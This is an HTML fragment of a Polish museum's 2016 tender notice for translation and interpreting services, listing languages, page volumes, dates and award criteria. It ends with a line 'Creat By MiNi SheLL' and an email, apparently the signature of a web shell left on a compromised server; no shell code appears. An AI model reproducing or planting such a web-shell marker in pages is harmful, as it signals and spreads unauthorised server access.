<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Muzeum Historyczne Miasta Krakowa, Rynek Główny 35, 31-011 Kraków, Dziennik Podawczy III p. Sekretariat Dyrektora.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 13.04.2016 godzina 09:00, miejsce: Muzeum Historyczne Miasta Krakowa, Rynek Główny 35, 31-011 Kraków, Dziennik Podawczy III p. Sekretariat Dyrektora.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> 1. Wykonawca zamieszcza informacje dotyczące doświadczenia tłumaczy w zakresie oceny w ramach Kryterium Doświadczenie w załączniku nr 4a do specyfikacji istotnych warunków zamówienia  - Wzór wykazu osób w ramach kryterium doświadczenia. Dokument ten nie podlega uzupełnieniu na podstawie art. 26 ust. 3 ustawy pzp. 
2. Zamawiający żąda od Wykonawcy,  wniesienia zabezpieczenia należytego wykonania umowy w wysokości 10 % ceny całkowitej podanej w ofercie - odpowiednio dla każdej z części od I do III..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Tłumaczenia zwykłe pisemne tekstów wydawnictw z języka polskiego na język angielski..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Przedmiotem zamówienia jest wykonanie tłumaczenia pisemnego zwykłego z języka polskiego na język angielski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenie objąć może, 1647,70 stron, tj. 2 965 860 znaków. Dla celów sporządzenia oferty należy przyjąć 1648 strony. 
2.	1 strona tekstu to 1800 znaków ze spacjami..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2016.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 40</li>
<li>2. Doświadczenie - 60</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Tłumaczenia pisemne uwierzytelnione z języka polskiego na język angielski oraz tłumaczenia pisemne zwykłe i uwierzytelnione z języka polskiego na język niemiecki, rosyjski, hebrajski, włoski, francuski, hiszpański, ukraiński, szwedzki, holenderski, litewski oraz na język polski z języka angielskiego, rosyjskiego, hebrajskiego, francuskiego, ukraińskiego, szwedzkiego, holenderskiego..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1. Przedmiotem zamówienia jest wykonanie tłumaczenia pisemnego:
- uwierzytelnione pisemne z języka polskiego na język angielski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłego z języka angielskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony
- uwierzytelnionego z języka angielskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony 
- zwykłego z języka polskiego na język niemiecki wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 87,55 stron, tj. 157 590 znaków. Celem sporządzenia oferty należy przyjąć 88 stron.
- zwykłego z języka polskiego na język rosyjski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą3,89 strony, tj. 7002 znaki. Celem sporządzenia oferty należy przyjąć 4 strony
- zwykłego z języka rosyjskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą17,78 stron, tj. 32004 znaki. Celem sporządzenia oferty należy przyjąć 18 stron
- zwykłego z języka polskiego na język hebrajski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,89 stron, tj. 7002 znaki. Celem sporządzenia oferty należy przyjąć 4 strony
- zwykłego z języka hebrajskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 55,55 stron, tj. 100 000 znaków. Celem sporządzenia oferty należy przyjąć 56 stron
- zwykłego z języka polskiego na język włoski wraz z korektą tłumaczenia Zamawiający szacuje, iż tłumaczenia obejmą 3,89 stron, tj. 7002 znaki. Celem sporządzenia oferty należy przyjąć 4 strony
- uwierzytelnione z języka polskiego na język francuski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 22,22 strony, tj. 39996 znaków. Celem sporządzenia oferty należy przyjąć 23 strony
- zwykłego z języka francuskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 18,89 stron, tj. 34002 znaków. Celem sporządzenia oferty należy przyjąć 19 stron
- zwykłego z języka polskiego na język hiszpański wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,89 strony, tj. 7002 znaki. Celem sporządzenia oferty należy przyjąć 4 strony
- zwykłego z języka polskiego na język ukraiński wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- uwierzytelnione z języka polskiego na język ukraiński wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłego z języka ukraińskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- uwierzytelnione z języka ukraińskiego na język polski wraz 
z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłego z języka polskiego na język szwedzki wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- uwierzytelnionego z języka polskiego na język szwedzki wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłe z języka szwedzkiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- uwierzytelnione z języka szwedzkiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłe z języka polskiego na język holenderski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- uwierzytelnione z języka polskiego na język holenderski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłe z języka holenderskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- uwierzytelnione z języka holenderskiego na język polski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą 3,7 strony tj. 6660 znaków. Celem sporządzenia oferty należy przyjąć 4 strony,
- zwykłe z języka polskiego na język litewski wraz z korektą tłumaczenia. Zamawiający szacuje, iż tłumaczenia obejmą22,22 strony, tj. 39996 znaków. Celem sporządzenia oferty należy przyjąć 23 strony,
- korektę stylistyczno-językową przetłumaczonego tekstu przez native speakera,
2.	1 strona tekstu to 1800 znaków ze spacjami..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2016.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 40</li>
<li>2. Doświadczenie - 60</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Tłumaczenia ustne symultaniczne i konsekutywne z języków angielskiego, niemieckiego 
i węgierskiego na język polski i z języka polskiego na język angielski, niemiecki i węgierski..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> 1.	Przedmiotem zamówienia jest wykonanie usługi tłumaczenia ustnego symultanicznego i konsekutywnego z języka polskiego na język angielski, niemiecki, węgierski i obejmują w szczególności:
- Tłumaczenie z języka polskiego na język angielski konsekutywne, 15 kwietnia 2016 - godz. 10.00-15.00, Fabryka Schindlera,
- Tłumaczenie symultaniczne z polskiego na angielski i z angielskiego na polski w ciągu dwóch dni konferencji 31.05-01.06.2016 r. w liczbie łącznej 24 godzin,
- Tłumaczenie z języka polskiego na język angielski symultaniczne - 3 godziny,
- Tłumaczenie z języka polskiego na język niemiecki konsekutywne - 7 godzin,
- Tłumaczenie z języka polskiego na język niemiecki symultaniczne - 3 godziny,
- Tłumaczenie z języka polskiego na język węgierski konsekutywne - 4 godziny.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.54.00.00-1.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 31.12.2016.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 40</li>
<li>2. Doświadczenie - 60</li>
</ul>
</li>
</ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com